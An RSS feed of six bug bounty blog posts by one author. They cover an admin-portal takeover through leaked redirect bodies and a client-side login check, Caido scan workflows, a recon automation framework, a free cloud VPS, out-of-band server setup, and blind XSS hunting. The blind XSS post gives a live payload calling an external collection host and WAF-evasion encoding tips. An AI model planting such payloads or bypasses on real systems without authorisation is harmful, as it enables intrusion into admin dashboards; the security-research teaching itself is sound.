<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mostafa Alrefai on Medium]]></title>
        <description><![CDATA[Stories by Mostafa Alrefai on Medium]]></description>
        <link>https://medium.com/@the7th?source=rss-7443d056a864------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Pn_PiqosLY-mT1QrIWI7kg.jpeg</url>
            <title>Stories by Mostafa Alrefai on Medium</title>
            <link>https://medium.com/@the7th?source=rss-7443d056a864------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:56:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@the7th/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Admin Portal Hijacking — Bug Bounty Writeup]]></title>
            <link>https://the7th.medium.com/admin-portal-hijacking-bug-bounty-writeup-9c2afc43dcea?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c2afc43dcea</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Thu, 02 Apr 2026 06:25:15 GMT</pubDate>
            <atom:updated>2026-04-02T06:25:15.465Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How I was able to hijack an admin portal without any username or password…</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*M1bbrjaLkWYmz1TrMex0oA.jpeg" /></figure><p>Welcome to my blog, where I share my knowledge with the Bug Bounty Community…</p><p>Today, I wanted to write about a bug-hunting story where I was able to take over an admin portal without any username or password. It was a VDP target, but the details may be useful for you.</p><p>I found an XSS in this subdomain, and while I was trying to exploit it, I found a “Caido Finding” that was reported by Caido Scanner under the title “Big Redirect”.</p><p>A big redirect happens when a web app responds with a redirect status code (e.g. 301, 302), while at the same time returning a full HTML page in the redirect body.</p><p>To parse the content of the redirect body in the browser, I created a Caido Match &amp; Replace rule to edit the redirect page status code to “200 OK”. When you enable this rule and open the redirect page in the browser, Caido edits the response and the content of the page is parsed normally without a redirect.</p><p>&gt; Following is the first Caido Match &amp; Replace rule:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7XNq4FbGxPLR6P6B5rrvHg.png" /><figcaption>Caido Match &amp; Replace rule 1</figcaption></figure><p>So the first bug was that whenever you requested a page from the portal (for example `/admin`), the web app would redirect you to the login page, but at the same time it would return the content of this `/admin` page in the body of the redirect.</p><p>At this point I was able to access any page of the admin portal, but I was not able to see any data because the app checked whether I was logged in or not, and of course I was not logged in.</p><p>So I started validating the login check in Caido history, and I discovered that the check was done on the client side of the application, and this was the second bug.</p><p>To bypass that, and because this check was made in the client-side, I created a second Caido Match &amp; Replace rule to edit the response from the server to be something like (`is_logged_in: true`).</p><p>&gt; This is the second Caido Match &amp; Replace rule:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcN3PCs8nrx1hiknPru0EA.png" /><figcaption>Caido Match &amp; Replace rule 2</figcaption></figure><p>After enabling the two M&amp;R rules, I was able to access any page in the admin portal, view admin information, and use all of the admin functionality.</p><p>&gt; This is a small part of the admin portal that I was able to access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*q1tmwz5Srqf4OIQwAYs4qw.png" /></figure><p><strong>## Additional Tips</strong></p><p>When you try to use Burp Suite to validate “Big Redirect” bug, you should use “Regex match” in the Burp Match &amp; Replace rule, because the normal “Match &amp; Replace” will not work in status code line in Burp, due to the way Burp handles the status code line in the response.</p><p>&gt; Following is the valid syntax for the Burp Match &amp; Replace rule:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*azAFymyJ-1eclUZSUDjhag.png" /></figure><p>- You can follow me at -&gt; <a href="https://x.com/__the7th">https://x.com/__the7th</a></p><p>- You can chat with me at -&gt; <a href="https://t.me/The7G">https://t.me/The7G</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c2afc43dcea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use “Caido Workflows” to scan for anything]]></title>
            <link>https://infosecwriteups.com/how-to-use-caido-workflows-to-scan-for-anything-07eed72ba06a?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/07eed72ba06a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[caido]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 12:24:05 GMT</pubDate>
            <atom:updated>2025-07-27T04:36:22.887Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqloopqtmTXidUb5X-DtEQ.png" /><figcaption>Caido Workflow Coloring</figcaption></figure><p>How to build Caido passive workflows to scan all HTTP requests &amp; responses…</p><p>In this tutorial, I will guide you through the steps to build your custom Caido Workflows, which can help you identify bugs based on your methodology…</p><p>You can scan for patterns like API keys or tokens, or take it to the next level by integrating it with “Match &amp; Replace” rules to inject payloads and match for high-impact bugs, such as OS command injection.</p><h3>Steps to create a new workflow</h3><p><strong>There are two types of Caido workflows:</strong></p><ul><li><strong>Passive workflows</strong> will run on all requests that will pass through Caido.</li><li><strong>Active workflows</strong> will wait until you choose a request and run that workflow manually on it.</li></ul><p>In this tutorial, we will create a simple “passive workflow” that will scan for JWTs (JSON Web Tokens) in all responses. When it finds a token, it assigns the request a special color and creates a new finding.</p><ol><li>First, go to the “Workflows tab”, choose the passive tab, and click “New Workflow”</li><li>By default, you will find the first step in the workflow layers as “On intercept request”; in our case, we want to scan the responses, so we will replace this first step with “On Intercept Response”.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*POIs22uTkOwM5ltECk6ERw.png" /><figcaption>Make sure to choose the “On Intercept Response” as first step</figcaption></figure><p>3. The second step in the workflow is “Matches HTTPQL”. In the query (code), we will match for JWTs using the following regex query:</p><pre>resp.raw.regex:/eyJ[a-zA-Z0-9]{10,}\.eyJ[a-zA-Z0-9]{10,}\.[a-zA-Z0-9_\-]{10,}/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*Pm2tVbDsX9jkMSJ2oqrBIg.png" /><figcaption>Step 3</figcaption></figure><p>4. After that, we will add the “Create Finding” and fill in the finding details like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*7P9jA0I_zRguTMdcu_kBvw.png" /></figure><p>5. The last step is the “Set Color” step, which will change the color of the request that matches the query in the HTTP history tab. Here we can use a website like <a href="https://htmlcolorcodes.com/">https://htmlcolorcodes.com/</a> to choose our preferred colors. In this example, we can pick a blue color with code (#2874a6)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzyiXIahFb97lrr4W-kbxA.png" /><figcaption>The code is the string after the #</figcaption></figure><p>We can test the final setup with the new feature in Caido V0.50.0, or we can test it with the following JWT PortSwigger <a href="https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature">lab</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iex1xio9mRyAyCjyMooifg.png" /><figcaption>New Caido future to test the new workflow</figcaption></figure><p>Finally, this is a very simple example to make it easy for you to set up your scans, which can be more advanced.</p><h3>Additional Tip</h3><p>If you want to test for bugs like IDOR (Insecure Direct Object Reference) or Web Cache Deception, you should test each endpoint that will respond with the user’s email address.</p><p>To easily filter these endpoints, you can create a new Caido passive workflow, but you will change the “Matches HTTPQL” to match the email that you used to create the account. Normally, if you are doing bug bounty, you will sign up with the platform’s hunting email, so I created the following HTTPQL regex query that will match for the hunting emails of HackerOne, Bugcrowd, and Intigriti.</p><pre>resp.raw.regex:&quot;([a-zA-Z1-9]{1,}[+]{0,1}[a-zA-Z1-9]{0,}@bugcrowdninja[.]com|[a-zA-Z1-9]{1,}[+]{0,1}[a-zA-Z1-9]{0,}@wearehackerone[.]com|[a-zA-Z1-9]{1,}[+]{0,1}[a-zA-Z1-9]{0,}@intigriti[.]me)&quot;</pre><p>If you don’t want to create a full Caido workflow, you can use this HTTPQL query in the Caido search tab to filter these endpoints quickly.</p><p>For more info on Caido workflows, you can take a look at the <a href="https://docs.caido.io/guides/workflows">Caido docs</a>.</p><p>If you want to follow for more -&gt; <a href="https://x.com/__the7th">https://x.com/__the7th</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07eed72ba06a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-use-caido-workflows-to-scan-for-anything-07eed72ba06a">How to use “Caido Workflows” to scan for anything</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a Bug Bounty Framework in Over 2 Years]]></title>
            <link>https://infosecwriteups.com/i-built-a-bug-bounty-framework-in-over-2-years-f9b7daa0b7aa?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9b7daa0b7aa</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[money]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Wed, 25 Jun 2025 12:06:32 GMT</pubDate>
            <atom:updated>2025-06-26T10:35:34.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGDvzGcDrYuoe8ebrh3shg.jpeg" /></figure><p>It took over two years to build my bug bounty automation framework (The Blue Whale), so I like to share the story of the building process and some details about the project architecture…</p><p>Talking about bug bounty automation … basically, you want to automate the tasks that will be repeated over and over, which will cost you effort and time each round.</p><p>The second and most important reason is “scalability”, the power of being able to scale a scan of a single bug on all of the bug bounty programs.</p><p>To achieve the concept of “scalability”, you will need a solid infrastructure that can run on over 1 million subdomains in a few minutes, and this will take a lot of effort.</p><h3>First Try (Bash Scripting)</h3><p>My first try wasn’t too successful, as you can expect, because I relied on bash scripts and bash pipelines to run the tools and direct the outputs to files and other tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iziqmz46OuLmP88OxgdojA.png" /><figcaption>One command from the first project (War Machine)</figcaption></figure><p>The problem is that you don’t have a central database to save the results, and any small error in the outputs can break the whole pipeline&#39;s workflow.</p><p>So, I did a deep research on the topic to find a solution. After some research, I found this <a href="https://labs.detectify.com/ethical-hacking/hakluke-creating-the-perfect-bug-bounty-automation/">article</a> by Hakluke, where he discussed four ways to build an automation framework, and the one that I liked the most was the second way, using Django Custom Commands.</p><h3>The Solution (Django Custom Commands)</h3><p>Django Custom Commands is a way to run a Python script from the CLI, which can be connected to other commands and a central database.</p><p>So I started with a test project to learn more about the development process, then I started the “Blue Whale” project.</p><p>This solution of using Django will add more features like Django ORM to interact with the backend database, “Django Apps“ which will give you the ability to organize your project into Django apps under the same project (e.g recon app) and one of the best options is the “Django Admin Panel” which will give you direct access to the database (view, add, delete) from a web based admin panel.</p><h3>The Blue Whale</h3><p>It’s a bug bounty automation project that will automate the whole bug-hunting process from adding the program into the database to extracting automated bugs.</p><p>As I mentioned before, the Django project will be divided into “apps”, and each app will be divided into custom commands and database models.</p><p>Following are some details about the main apps and their functionality…</p><h4>1) Targets app</h4><p>Used to manage, add, remove, and view programs and domains from the database.</p><h4>2) Recon app</h4><p>Used to run recon tools and commands on the target and save the new results into the database</p><ol><li>Extract subdomains for each domain</li><li>Filter alive-subdomains</li><li>Collect parameters and endpoints</li><li>Collect IPs and open ports</li><li>Fingerprint each live subdomain</li><li>Save all results into the database</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*DK4GlRnPcqqONcrSSu1Pmw.png" /><figcaption>Recon app workflow</figcaption></figure><p>The call_command() function will run a Django custom command from another one in the same project, so each one of these (subdomains, ports, urls, …) in the screenshot is a Django custom command.</p><h4>3) Hunting app</h4><p>This app will run the bug-hunting scans on the collected targets from the recon app (live-subdomains, parameters, and endpoints).</p><p>This app has two parts to run the scans</p><ol><li><strong>Running open source tools (e.g Nuclei)</strong></li><li><strong>Running Python functions using “Threading” techniques</strong></li></ol><h4>4) Reports app</h4><p>This app can be used to send Telegram or Discord alerts to report some information about the running workflows and new findings.</p><p>I didn’t mention a lot of other details that will make this article very long, but you got the idea.</p><p>The latest big development in this project was adding dockerfile and docker-compose.yml files to the project to make it easier and faster to deploy the full project into any new server with a single command.</p><p>For me, the project was built for “bug hunting” and “security research” on the largest number of public bug bounty and VD programs.</p><p>Following is a screenshot from my main deployment instance, which has over 1.1 million subdomains…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*8C6HbL8G2yn0vtQ8De68DQ.png" /><figcaption>Subdomains overview</figcaption></figure><p>So at the end, if you want to share any new idea or hunt for a zero-day on the scale, you can message me on ( X ) -&gt; <a href="https://x.com/__the7th">https://x.com/__the7th</a></p><p>And thanks for your time dude, I appreciate you…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9b7daa0b7aa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-built-a-bug-bounty-framework-in-over-2-years-f9b7daa0b7aa">I Built a Bug Bounty Framework in Over 2 Years</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to setup a Monthly Free VPS for Bug Hunting]]></title>
            <link>https://infosecwriteups.com/how-to-setup-a-monthly-free-vps-for-bug-hunting-d41d0fa3ed6c?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/d41d0fa3ed6c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Wed, 07 May 2025 06:20:45 GMT</pubDate>
            <atom:updated>2025-06-19T09:11:32.227Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*uqin023rP2KqKNir4Y2i4Q.png" /><figcaption>Bandwidth in a CS</figcaption></figure><p>As a bug hunter, you may need a powerful VPS to run your tools, and as a beginner, you should achieve this goal at the lowest cost.</p><h4>What is a VPS?</h4><ul><li>VPS or (Virtual Private Server): is a machine on the cloud that you can use to run your CLI tools and commands remotely.</li></ul><h4>What is GitHub CodeSpace?</h4><blockquote>Based on GitHub definition: GitHub Codespaces is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development.</blockquote><p>In this article, I will provide the steps to set up and use GitHub CodeSpaces to run your bug hunting tools and automation tasks.</p><p><strong>GitHub will provide any new account with 120 “Core hours” each month for free</strong>, and 180 “Core hours” if you have a GitHub Pro account. If you are a student, you can get a free Pro account by signing up for the <a href="https://education.github.com/pack">Student Pack</a>.</p><p><strong>A “core hour” is a measure used for CodeSpace usage</strong> (A 2-core machine used for 1 hour equals 2 core hours).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qxM5Bs01-h82vPUjFo5JuQ.png" /><figcaption>Monthly included storage and core hours</figcaption></figure><p>One of the best features of CodeSpaces is that you can change the machine type at any time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*vLrScMfNVxm-FzGOyk8LcQ.png" /><figcaption>2 optoins to chose from</figcaption></figure><h3>Steps to set up a new CodeSpace</h3><p><strong>(Important step)</strong> Before creating a new CodeSpace, you should change the “idle timeout” of the new CodeSpaces in your account, because by default, the CodeSpace will stop <strong>after 30 minutes</strong> from closing the active session.</p><h4>Change the idle timeout</h4><ol><li>Go to the CodeSpace settings: <a href="https://github.com/settings/codespaces">https://github.com/settings/codespaces</a></li><li>Search for “Default idle timeout”</li><li>Then change the value to 240 minutes (240 is the maximum value)</li></ol><h4>Create a new CodeSpace</h4><ol><li>Go to <a href="https://github.com/codespaces">https://github.com/codespaces</a></li><li>You will find a lot of templates to choose from, but in our case, we will choose the “Blank” template</li><li>Search for the Blank template and click “Use this template”.</li></ol><p>After connecting to the new CodeSpace, you can run your CLI commands from the terminal tab. To toggle the terminal panel, use the (Ctrl+`) keyboard shortcut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTT64HZUZEnKLXUB5DnTbw.png" /></figure><ul><li>Follow for more: <a href="https://x.com/__the7th">https://x.com/__the7th</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d41d0fa3ed6c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-setup-a-monthly-free-vps-for-bug-hunting-d41d0fa3ed6c">How to setup a Monthly Free VPS for Bug Hunting</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to hunt for (P1, P2) Blind XSS]]></title>
            <link>https://osintteam.blog/how-to-hunt-for-p1-p2-blind-xss-87e027acd85b?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/87e027acd85b</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Thu, 01 May 2025 19:09:42 GMT</pubDate>
            <atom:updated>2025-06-19T09:12:05.678Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*cJIHHskn5mYZ5uROinCe7Q.jpeg" /><figcaption>Blind XSS Telegram alert</figcaption></figure><p>Hunting for Blind XSS can be tricky because you should have a server that runs 24/7 and is ready to receive any payload fired on the admin’s screen.</p><p>So, after a lot of research and testing, I will provide the best option you can use without paying for subscriptions.</p><h3>Steps</h3><ol><li>Create a new account at: <a href="https://xss.report/register">https://xss.report/register</a></li><li>After that, you will need to activate the Telegram bot to receive an alert when your payload fires.</li><li>Copy your token from the dashboard: <a href="https://xss.report/dashboard#settings">https://xss.report/dashboard#settings</a></li><li>Go to <a href="https://t.me/XssReport_bot">https://t.me/XssReport_bot</a> and select “Start Bot”</li><li>Then enable the bot by providing your token</li><li>The last step is testing the full setup</li><li>Copy the first payload from your payloads list on the dashboard.</li></ol><p>Create a new file and make sure to give it the .html extension</p><pre>&lt;!-- BXSS.html --&gt;<br><br>&lt;script src=https://xss.report/c/username&gt;&lt;/script&gt;<br></pre><p>Then open the file in the browser. At this point, you should receive an alert from the Telegram bot.</p><p>To view all of the details of the affected target, you should access the full report from the dashboard: <a href="https://xss.report/dashboard#settings">https://xss.report/dashboard#settings</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P_DDEYDpAXgYuP9F-yeK4w.png" /><figcaption>Example report</figcaption></figure><p>And because Blind XSS most of the time will fire at the internal dashboard of the admin, it will be classified as P1 or P2.</p><h3>Additional tips</h3><p>Sometimes, the WAF will block your Blind XSS payloads, and you can bypass that by submitting the same payload after encoding it with URL or Base64.</p><p>If the WAF stell blocks your request, you can try double URL-encoding.</p><p>Follow for more: <a href="https://x.com/__the7th">https://x.com/__the7th</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87e027acd85b" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/how-to-hunt-for-p1-p2-blind-xss-87e027acd85b">How to hunt for (P1, P2) Blind XSS</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Set Up Your Ultimate OOB Bug-Hunting Server]]></title>
            <link>https://infosecwriteups.com/how-to-set-up-your-ultimate-bug-hunting-server-38b3428a0446?source=rss-7443d056a864------2</link>
            <guid isPermaLink="false">https://medium.com/p/38b3428a0446</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hunting]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mostafa Alrefai]]></dc:creator>
            <pubDate>Thu, 27 Feb 2025 00:00:22 GMT</pubDate>
            <atom:updated>2025-06-19T09:12:38.487Z</atom:updated>
            <content:encoded><![CDATA[<p>Having your own hacking server is one of the most important investments you can make in your bug bounty journey.</p><blockquote>Baisley an OOB or (Out-Of-Band) server is an online server that you can host on your VPS to hunt for blind bugs like (SSRF, XXE and Blind XSS).</blockquote><p><strong>You can use your server to achieve the following:</strong></p><ul><li>Hunting bugs that require OOB interaction</li><li>Exploiting bugs like CORS misconfiguration that require custom subdomains</li><li>Host your exploit files like CSRF POCs, and more</li></ul><p>If you don’t want to set up your own server, you can use one of the public ones like: <a href="https://app.interactsh.com/">https://app.interactsh.com</a></p><p><strong>But why shouldn’t you use any public OOB server?</strong></p><ul><li>Because it comes with its problems and limitations, the biggest problem is that <strong>some firewalls and security systems will, by default, block the outgoing traffic to these public, well-known OOB servers</strong>, making you miss some important bugs.</li></ul><p>In this post, I will help you set up an <strong>“Interactsh Server”</strong> to use in your pentest or bug bounty hunting operations.</p><h3>Requirements</h3><ul><li>Any VPS with a public IP address (you can use a 1GB RAM VPS)</li><li>Any domain name that you have control over</li></ul><h3>1. Set up your VPS and copy your public IP address</h3><p>Based on your VPS dashboard, you can copy your public IP address, but if you want to know your IP address from the command line, you can run the following command:</p><pre>echo &quot;Your public IP address is: $(curl ifconfig.me -s)&quot;</pre><p>If you use a VPS that has any services like Apache server, then you should disable any service that runs on the following ports (80, 443, 389, 587, 25, 53)</p><h3>2. Set up your domain for the new Interactsh Server</h3><p>In this step, you should edit your domain configurations to use your VPS as a custom <strong>nameserver (DNS)</strong></p><p>Note: The original resource of the following steps can be found at this <a href="https://github.com/projectdiscovery/interactsh?tab=readme-ov-file#configuring-interactsh-domain">URL</a>. We will use GoDaddy as an example, but you can use the same concept with any domain broker like Namecheap, Hostinger.</p><ol><li>Navigate to <a href="https://dcc.godaddy.com/control/portfolio/%7B%7Bdomain%7D%7D/settings?subtab=hostnames">https://dcc.godaddy.com/control/portfolio/{{domain}}/settings?subtab=hostnames</a></li><li>Add → Submit ns1, ns2 with your SERVER_IP as value</li><li>Navigate to <a href="https://dcc.godaddy.com/control/dnsmanagement?domainName={{domain}}&amp;subtab=nameservers">https://dcc.godaddy.com/control/dnsmanagement?domainName={{domain}}&amp;subtab=nameservers</a></li><li>Change Nameservers → I’ll use my own nameservers → Submit ns1.INTERACTSH_DOMAIN, ns2.INTERACTSH_DOMAIN</li></ol><p>After changing the nameservers, <strong>you should wait some time, in most cases it will be only one hour, to see the new domain pointing to your server</strong>, to validate that you can run the following command:</p><pre>nslookup &lt;INTERACTSH_DOMAIN&gt; # Replace with your domain name</pre><p>When you see the output showing your IP, then you are ready for the next step.</p><h3>3. Install and set up the Interactsh server</h3><p>To install the Interactsh server on your VPS, you should validate that your VPS has Golang installed:</p><pre># To check if you have golang installed<br>go version<br><br># If not, you can install it using the following command<br>sudo snap install go --classic<br><br># To install the Interactsh server:<br>go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest</pre><p>After installing the Interactsh server command, you can set it up using the following command.</p><pre>interactsh-server -domain &lt;INTERACTSH_DOMAIN&gt; -wildcard -token &lt;ANY_LONG_TOKEN&gt;</pre><p>After running this command, you should see an output like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xZp5IHworMT6p2z3.png" /><figcaption>Successful setup of the server</figcaption></figure><p>Note: Sometimes this command will fail due to firewall rules, so you should allow all ports required from your VPS dashboard (80, 443, 389, 587, 25, 53).</p><h3>4. Testing the setup</h3><p>To test this setup, you can visit the <a href="https://app.interactsh.com/#/">Interactsh web client</a> and use your “Custom Host” with the token you used above.</p><h3>5. Using the Interactsh server to serve static content</h3><p>The Interactsh server command supports the following flags:</p><pre>-http-directory # directory with files to serve with http server<br><br>-http-index     # custom index file for http server</pre><p>We can use these flags to add serving static content functionality to our server to be able to host POC files or use JavaScript files for any exploit.</p><p>The final command we will use will be something like the following:</p><pre>interactsh-server -domain &lt;INTERACTSH_DOMAIN&gt; -wildcard -token &lt;ANY_LONG_TOKEN&gt; -http-directory ./public/live/ -http-index ./public/live/index &gt; /dev/null</pre><p>Now you can add any HTML file to the directory /public/live/, and access it from your browser by visiting the /s/ directory under your domain, like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oLxqoVjam-SVadcp.png" /><figcaption>Serving static files in the browser</figcaption></figure><h3>6. Set up a crontab job to automate server setup after reboot (optional)</h3><p>To add a crontab job that will make the server available to use after rebooting your VPS:</p><pre># Choose your text editor if you didn&#39;t before, and paste the full command starting with &quot;@reboot&quot; at the beginning:<br><br>@reboot interactsh-server -domain &lt;INTERACTSH_DOMAIN&gt; -wildcard -token &lt;ANY_LONG_TOKEN&gt; -http-directory ./public/live/ -http-index ./public/live/index &gt; /dev/null</pre><h3>External Links</h3><ul><li><a href="https://github.com/projectdiscovery/interactsh">https://github.com/projectdiscovery/interactsh</a></li><li><a href="https://app.interactsh.com/#/">https://app.interactsh.com/#/</a></li></ul><h3>More?</h3><ul><li>You can follow on (X): <a href="https://x.com/__the7th">https://x.com/__the7th</a></li><li>Subscribe to the mailing list: <a href="https://the7th.medium.com/subscribe">https://the7th.medium.com/subscribe</a></li><li>You can visit my blog at: <a href="https://7-th.github.io/posts">https://7-th.github.io/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38b3428a0446" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-to-set-up-your-ultimate-bug-hunting-server-38b3428a0446">How To Set Up Your Ultimate OOB Bug-Hunting Server</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>